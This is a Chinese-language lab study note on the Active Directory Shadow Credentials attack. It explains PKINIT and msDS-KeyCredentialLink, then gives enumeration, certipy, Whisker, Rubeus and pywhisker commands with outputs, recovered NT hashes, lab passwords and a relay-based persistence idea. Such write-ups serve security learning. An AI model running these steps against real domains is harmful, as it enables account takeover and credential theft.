Shadow Credentials

1. 介绍

Shadow Credentials一种替代性的用户和计算机账户接管技术,它滥用了 Windows Hello for Business 的无密码认证功能。其工作原理是在目标用户/计算机账户的 msDS-KeyCredentialLink 属性中添加 Key Credentials ,然后使用 PKINIT 作为该账户执行 Kerberos 认证。这种方法比针对用户的 Password Reset 或 Roasting 等原始技术以及针对计算机的 RBCD 技术要简单可靠得多。

1.1. Kerberos Pre-Authentication

在AD中,Kerberos 身份验证过程依赖于一个称为 pre-authentication 的初步步骤,pre-authentication 的目的是防止像 AS-REPRoasting 这样的离线攻击。在这种攻击中,任何人都可以使用客户端密码派生的密钥获取加密数据块并尝试破解它。为了证明其身份,客户端必须使用其密钥加密当前时间戳,该密钥派生自客户端密码(DES、RC4、AES128 或 AES256),并将其发送给 KDC。如果 KDC 能够解密时间戳,则客户端正在使用正确的密码派生密钥,因为 KDC 可以访问域中所有密码派生的密钥。

当身份验证客户端成功完成 pre-authentication 时,会提供一个 TGT,允许该客户端有效地请求更多票据以连接到网络中的其他服务。
Pasted image 20260323210630.png

1.2. PKINT

然而,存在一种使用场景,其中完全不使用从密码派生的密钥,并且 pre-authentication 方案以非对称方式进行。这种情况被称为初始身份验证的公钥加密(PKINIT),允许用户在配置了公钥基础设施(PKI)的 Active Directory 域中使用 x509 证书获取 TGT。值得注意的是,AD CS(Active Directory 证书服务)是微软的 PKI 实现。
Pasted image 20260323210722.png

PKINIT 协议是一种使用公钥加密技术对网络上的实体进行身份验证的安全协议。PKINIT 是 pre-authentication 的扩展,它扩展了 Kerberos 协议,在初始 AS 交换期间使用公钥加密和票据授予票据(TGT)数据签名。它在 RFC4556 中有所规定,但微软对 Windows 实现的 PKINIT 进行了一些修改,这些修改与RFC4556不同,可以在MS-PKCA中找到

1.3. Passwordless authentication

微软在 Windows Server 2016 中引入了密钥信任的概念,以便在不支持证书信任的环境中实现无密码身份验证。通过密钥信任,PKINIT 身份验证使用存储在 AD 对象属性 msDS-KeyCredentialLink 中的原始密钥数据来建立,而不是使用证书

客户端的公钥存储在名为 msDS-KeyCredentialLink 的多值属性中。其是一个多值属性,因为一个账户可能关联多个设备。

该属性的值是密钥凭据,是一个包含创建日期、所有者的可分辨名称、代表设备 ID 的 GUID 以及公钥等信息的序列化对象。

我们可以使用powerview来进行枚举

PS C:\Users\jeffry\Desktop> Get-DomainUser -Filter '(msDS-KeyCredentialLink=*)'


logoncount             : 5
msds-keycredentiallink : B:828:00020000200001A98B9A34A7566C0B8633DF6ADBF934CFE79BE8617097536146F1F062ED29659920000272FF
                         2D049DD5FE5E47932D12B0E3C0D9922133B1A18B06B2E855C441B606418B1B01035253413100080000030000000001
                         00000000000000000000010001B5937A146A2068FF789505A762FD841BC944CF85A740E47C9195B6DE31B44915352B
                         408A8B8515CB346D96F0C444C8BDB56E80AD01A21F34E4DEAC3E2B0562D72812634679D10F2A5B4C214C4DB8EF58D3
                         1933C9163D6A426A79BDA4CCBDDC5A1889C234A416F0F3FE7308F7939D0B0FFBDC8D89B080617A407819D4F2C0DEA4
                         69AC1B3F0F96428B0D84722739A033E180F6A24B21C39210E3F05999BE5AEC8DB9BAE0EAAF9D5006AC54637D6EDD47
                         834176E850875F88A4B0D944BDC3A63E30D948EBFEC02F4332424F65342018714E5BF971232F0AB6E302393202FF73
                         488D5B4D62B43E52DAD19C20850BF40028D477CFC3543121161EAF84926E9F40443D0100040101000500100006937A
                         2D4642F339A196FC2C750D2F4C890200070100080008B1DB0C23BC98DA01080009B1DB0C23BC98DA01:CN=Gabriel,
                         CN=Users,DC=lab,DC=local
badpasswordtime        : 01/01/1601 01:00:00
distinguishedname      : CN=Gabriel,CN=Users,DC=lab,DC=local
objectclass            : {top, person, organizationalPerson, user}
displayname            : Gabriel
lastlogontimestamp     : 27/04/2024 18:18:37
userprincipalname      : gabriel@lab.local
name                   : Gabriel
objectsid              : S-1-5-21-2570265163-3918697770-3667495639-4602
samaccountname         : gabriel
codepage               : 0
samaccounttype         : USER_OBJECT
accountexpires         : NEVER
countrycode            : 0
whenchanged            : 27/04/2024 16:18:37
instancetype           : 4
usncreated             : 688697
objectguid             : 03cd82aa-3a8c-4ba0-bcf8-850ba94cfd73
lastlogoff             : 01/01/1601 01:00:00
objectcategory         : CN=Person,CN=Schema,CN=Configuration,DC=lab,DC=local
dscorepropagationdata  : {14/02/2024 20:21:05, 14/02/2024 20:16:19, 14/02/2024 20:15:00, 01/01/1601 00:00:01}
givenname              : Gabriel
lastlogon              : 27/04/2024 18:18:37
badpwdcount            : 0
cn                     : Gabriel
useraccountcontrol     : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
whencreated            : 14/02/2024 20:15:00
primarygroupid         : 513
pwdlastset             : 14/02/2024 21:15:00
usnchanged             : 708837

当客户端登陆的时候,Windows 会尝试使用其私钥执行 PKINIT 身份验证,在密钥信任模型下,域控会使用客户端 msDS-KeyCredentialLink 属性中对应对象的原始公钥来解密其预认证数据。
Pasted image 20260323213339.png

2. Shadow Credential Attack

影子凭证是一种通过利用密钥信任模型中使用的无密码身份验证功能来获取对 Active 目录用户或计算机控制权的方法,通过修改目标对象 msDS-KeyCredentialLink 属性。添加一个替代凭证作为证书,从而接管目标对象的控制权

2.1. 利用影子凭据获取NTLM哈希

出于兼容性考虑,当客户端使用 PKINIT 且需要与不支持 Kerberos 身份验证的服务通信时,会使用 NTLM。微软引入了一种特殊的服务票据作为替代身份验证方法来解决此问题。该票据在加密的 NTLM_SUPPLEMENTAL_CREDENTIAL 实体内的 Privilege Attribute Certificate (PAC) 中包含了 NTLM 哈希。

加密的 PAC 存储在票据中,该票据使用其签发服务的密钥进行加密。对于 TGT,票据使用 KRBTGT 账户的密钥加密,客户端无法解密。为了获得可解密的票据,客户端需要向自身执行 Kerberos 用户到用户(U2U)认证。

每当客户端请求 TGT 时,都会生成一个新的会话密钥。KDC 不会记录活跃的会话密钥,而是从客户端的票据中提取会话密钥。当用户请求 U2U TGS-REQ 时,KDC 会将目标用户的 TGT 作为附加票据包含在响应中。随后,KDC 从 TGT 的加密部分提取会话密钥,并生成新的服务票据。

这意味着,如果我们向自己请求一张 U2U 服务票据,我们将能够解密该票据并访问 PAC 和 NTLM 哈希值,因为加密票据所用的密钥掌握在我们手中。通过修改 msDS-KeyCredentialLink 属性,我们还可以获取用户或计算机的 NTLM 哈希值。

Pasted image 20260323213733.png

2.2. 枚举

枚举具有对目标有修改msDS-KeyCredentialLink属性权限的用户

2.2.1. bloodhound

Pasted image 20260323214932.png

Pasted image 20260323215417.png
这里也可以看出,有Write Property权限

2.2.2. powerview

PS C:\Users\jeffry\Desktop> Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
PS C:\Users\jeffry\Desktop> Import-Module .\PowerView.ps1
PS C:\Users\jeffry\Desktop> $userSID = (Get-DomainUser -Identity jeffry).objectsid
PS C:\Users\jeffry\Desktop> Get-DomainObjectAcl -Identity gabriel | ?{$_.SecurityIdentifier -eq $userSID}


ObjectDN              : CN=Gabriel,CN=Users,DC=lab,DC=local
ObjectSID             : S-1-5-21-2570265163-3918697770-3667495639-4602 (gabriel)
ActiveDirectoryRights : GenericAll
BinaryLength          : 36
AceQualifier          : AccessAllowed
IsCallback            : False
OpaqueLength          : 0
AccessMask            : 983551
SecurityIdentifier    : S-1-5-21-2570265163-3918697770-3667495639-4601 (jeffry)
AceType               : AccessAllowed
AceFlags              : None
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None
AuditFlags            : None

jeffry对gabriel有GenericAll权限

2.2.3. bloodyad

┌──(root㉿kali)-[~/Desktop/Academy/Shadow Credentials]
└─# bloodyAD --host 10.129.228.236  -u jeffry  -p Music001  -d lab.local get writable --detail |grep -E 'distinguishedName|KeyCredentialLink'
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=lab,DC=local
distinguishedName: CN=Jeffry,CN=Users,DC=lab,DC=local
distinguishedName: CN=Gabriel,CN=Users,DC=lab,DC=local
msDS-KeyCredentialLink: WRITE
distinguishedName: CN=Martha,CN=Users,DC=lab,DC=local
msDS-KeyCredentialLink: WRITE
distinguishedName: CN=Monic,CN=Users,DC=lab,DC=local
msDS-KeyCredentialLink: WRITE
distinguishedName: DC=lab.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=lab,DC=local
distinguishedName: DC=_msdcs.lab.local,CN=MicrosoftDNS,DC=ForestDnsZones,DC=lab,DC=local

2.3. get hash

2.3.1. certipy

certipy可以一键完成利用。

┌──(root㉿kali)-[~/Desktop/Academy/Shadow Credentials]
└─# certipy shadow auto  -u jeffry  -p Music001   -dc-ip '10.129.228.236' -target LAB-DC.lab.local   -dc-host LAB-DC.lab.local  -account 'monic'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'monic'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'b016889f73b449ed986b4c65ad26e27c'
[*] Adding Key Credential with device ID 'b016889f73b449ed986b4c65ad26e27c' to the Key Credentials for 'monic'
[*] Successfully added Key Credential with device ID 'b016889f73b449ed986b4c65ad26e27c' to the Key Credentials for 'monic'
[*] Authenticating as 'monic' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'monic@lab.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'monic.ccache'
[*] Wrote credential cache to 'monic.ccache'
[*] Trying to retrieve NT hash for 'monic'
[*] Restoring the old Key Credentials for 'monic'
[*] Successfully restored the old Key Credentials for 'monic'
[*] NT hash for 'monic': eabd3f7754813bcac03bde9a29add903

2.3.2.  Whisker

 Whisker是Windows上的一种利用方式

#读取目标的 `msDS-KeyCredentialLink` 属性值
PS C:\Tools> .\Whisker.exe list /target:gabriel
[*] Searching for the target account
[*] Target user found: CN=Gabriel,CN=Users,DC=lab,DC=local
[*] Listing deviced for gabriel:
    DeviceID: 462d7a93-f342-a139-96fc-2c750d2f4c89 | Creation Time: 27/04/2024 18:01:17
#生成证书并打印获取账户 TGT 和 NTLM 哈希所需的 Rubeus 命令
PS C:\Tools> .\Whisker.exe add /target:gabriel
[*] No path was provided. The certificate will be printed as a Base64 blob
[*] No pass was provided. The certificate will be stored with the password cw7I7QaHMS44q5xt
[*] Searching for the target account
[*] Target user found: CN=Gabriel,CN=Users,DC=lab,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID 48d97546-cac9-4e92-981b-e89da231f7a8
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] You can now run Rubeus with the following syntax:

Rubeus.exe asktgt /user:gabriel /certificate:MIIJuAIBAzCCCXQGC..SNIP...6F9yJkzw28UnNcCs/0aclXHfAwICB9A= /password:"cw7I7QaHMS44q5xt" /domain:lab.local /dc:LAB-DC.lab.local /getcredentials /show

然后使用Rubeus获取TGT和NTLM哈希,必须使用选项 /getcredentials 来检索 NTLM 哈希

PS C:\Tools> .\Rubeus.exe asktgt /user:gabriel /certificate:MIIJuAIBAzCCCXQGC..SNIP...6F9yJkzw28UnNcCs/0aclXHfAwICB9A= /password:"cw7I7QaHMS44q5xt" /domain:lab.local /dc:LAB-DC.lab.local /getcredentials /show /nowrap
  ______    _
 (_____ \   | |
  _____) )_ _| |__ _____ _ _ ___
 | __ /| | | | _ \| ___ | | | |/___)
 | | \ \| |_| | |_) ) ____| |_| |___ |
 |_| |_|____/|____/|_____)____/(___/

 v2.3.2

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=gabriel
[*] Building AS-REQ (w/ PKINIT preauth) for: 'lab.local\gabriel'
[*] Using domain controller: fe80::f11e:5faf:4886:146a%15:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

   doIGJjCCBiKgAwIBBaEDAgEWooIFRTCCBUFhggU9MIIFOaADA...SNIP...

[*] Getting credentials using U2U

 CredentialInfo    :
  Version       : 0
  EncryptionType   : rc4_hmac
  CredentialData   :
   CredentialCount  : 1
    NTLM       : 2D1DA879CA71003...SNIP...

注意:清除为无密码身份验证配置的账户的 msDS-KeyCredentialLink 属性将导致服务中断。

2.4.1. Whisker

#remove 删除特定的值
PS C:\Tools> .\Whisker.exe remove /target:gabriel /deviceid:48d97546-cac9-4e92-981b-e89da231f7a8
[*] Searching for the target account
[*] Target user found: CN=Gabriel,CN=Users,DC=lab,DC=local
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Found value to remove
[+] Updated the msDS-KeyCredentialLink attribute of the target object


#clear 移除所有的值
┌──(root㉿kali)-[~/Desktop/Academy/Shadow Credentials]
└─# pywhisker -a clear -t gabriel -d lab.local -u jeffry -p Music001
[*] Searching for the target account
[*] Target user found: CN=Gabriel,CN=Users,DC=lab,DC=local
[*] Clearing the msDS-KeyCredentialLink attribute of gabriel
[+] msDS-KeyCredentialLink cleared successfully!

3. 理论

Shadow Credentials 攻击实际上是向账户添加备用凭证,使攻击者能够获取目标密钥转移 (TGT),进而获取 user / computer 的 NTLM 哈希值。即使 user / computer 更改密码, Shadow Credentials 仍然存在。

Kerberos 身份验证协议通过票据来授予访问权限。一个 服务票据 (ST) 可以通过出示一个 票据授予票据 (TGT) 来获得。而在此之前的 TGT,只能通过验证一个名为“预认证 (pre-authentication)”的第一步来获得(除非某些账户明确移除了这个要求,使它们容易受到 asreproasting 攻击)。

预认证可以通过对称方式(使用 DES、RC4、AES128 或 AES256 密钥)或非对称方式(使用证书)进行验证。非对称的预认证方式被称为 PKINIT。

客户端拥有一对公钥-私钥对,并使用其私钥加密预认证数据,KDC(密钥分发中心)则使用客户端的公钥解密。KDC 也拥有一对公钥-私钥对,用于会话密钥的交换。(specterops.io)

Active Directory 用户和计算机对象有一个名为 msDS-KeyCredentialLink 的属性,可以设置原始公钥。当尝试使用 PKINIT 进行预认证时,KDC 将检查认证用户是否拥有匹配的私钥知识,如果匹配,就会发送一个 TGT。

在多种情况下,攻击者可以控制一个账户,该账户有能力编辑其他对象(例如,某个特殊组的成员,拥有强大的访问控制条目 [ACEs] 等)的 msDS-KeyCredentialLink(又称“kcl”)属性。这使得攻击者可以创建一对密钥,将其原始公钥添加到该属性中,从而获得对目标对象(可以是用户或计算机)的持久且隐蔽的访问权限。

4. 利用

4.1. 要求:

  • 域支持 PKINIT 且至少有一个运行 Windows Server 2016 或更高版本的域控制器的域中。
  • 域控制器拥有自己的密钥对(域控制器在 AS_REQ <-> AS_REP 事务期间需要自己的证书和密钥来进行会话密钥交换)如果不满足会报KRB-ERROR (16): KDC_ERR_PADATA_TYPE_NOSUPP 错误
  • 可以编辑目标对象 msDS-KeyCredentialLink 属性的账户。

msDS-KeyCredentialLink 功能是随 Windows Server 2016 引入的。但是,这不应与 PKINIT 混淆,后者在 Windows 2000 中就已经存在。msDS-KeyCredentialLink 功能允许将 X509 证书链接到域对象,仅此而已

4.2. 利用

4.2.1. linux

使用 certipy-ad

#使用certipy-ad  
certipy-ad  shadow auto -username 'p.agila@fluffy.htb' -p 'prometheusx-303' -account 'victim' -dc-ip 10.10.11.69

#kerberos 
certipy shadow auto  -k -no-pass  -dc-ip '10.129.137.9' -target dc.hercules.htb  -dc-host dc.hercules.htb -account 'bob.w

Pasted image 20250526011136

也可以用 pywhisker(不好用)

pywhisker -d fluffy.htb -u p.agila -p prometheusx-303 --target WINRM_SVC --action "list"

pywhisker -d fluffy.htb -u p.agila -p prometheusx-303 --target WINRM_SVC --action "info" --device-id ff657ba0-3172-d676-30dd-759d5602fa77

Pasted image 20250526012140.png

4.3. windows (未测试)

从 Windows 系统,用户或计算机目标的 msDs-KeyCredentialLink 属性可以使用 Whisker.exe 工具进行操作。

Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"

当公钥被设置在目标(用户或计算机)的 msDs-KeyCredentialLink 属性中时,生成的证书可以用于PTC攻击,以获得 TGT(票据授予票据)并进一步获得访问权限。

4.4. 其他

Note

自编辑 KCL 属性 (Self edit the KCL attribute)

用户对象无法编辑它们自己的 msDS-KeyCredentialLink 属性,而计算机对象可以。 这意味着以下场景可能奏效:触发来自 DC01 的 NTLM 身份验证,将其(认证会话)中继到 DC02,然后让 pywhisker 工具编辑 DC01 的 msDS-KeyCredentialLink 属性,从而在其上创建一个 Kerberos PKINIT 预认证后门,并使用 PKINIT 和“传递缓存”(Pass-the-cache)获得对 DC01 的持久访问权限。

计算机对象只有在 KeyCredential 尚未设置时才能编辑它们自己的 msDS-KeyCredentialLink 属性。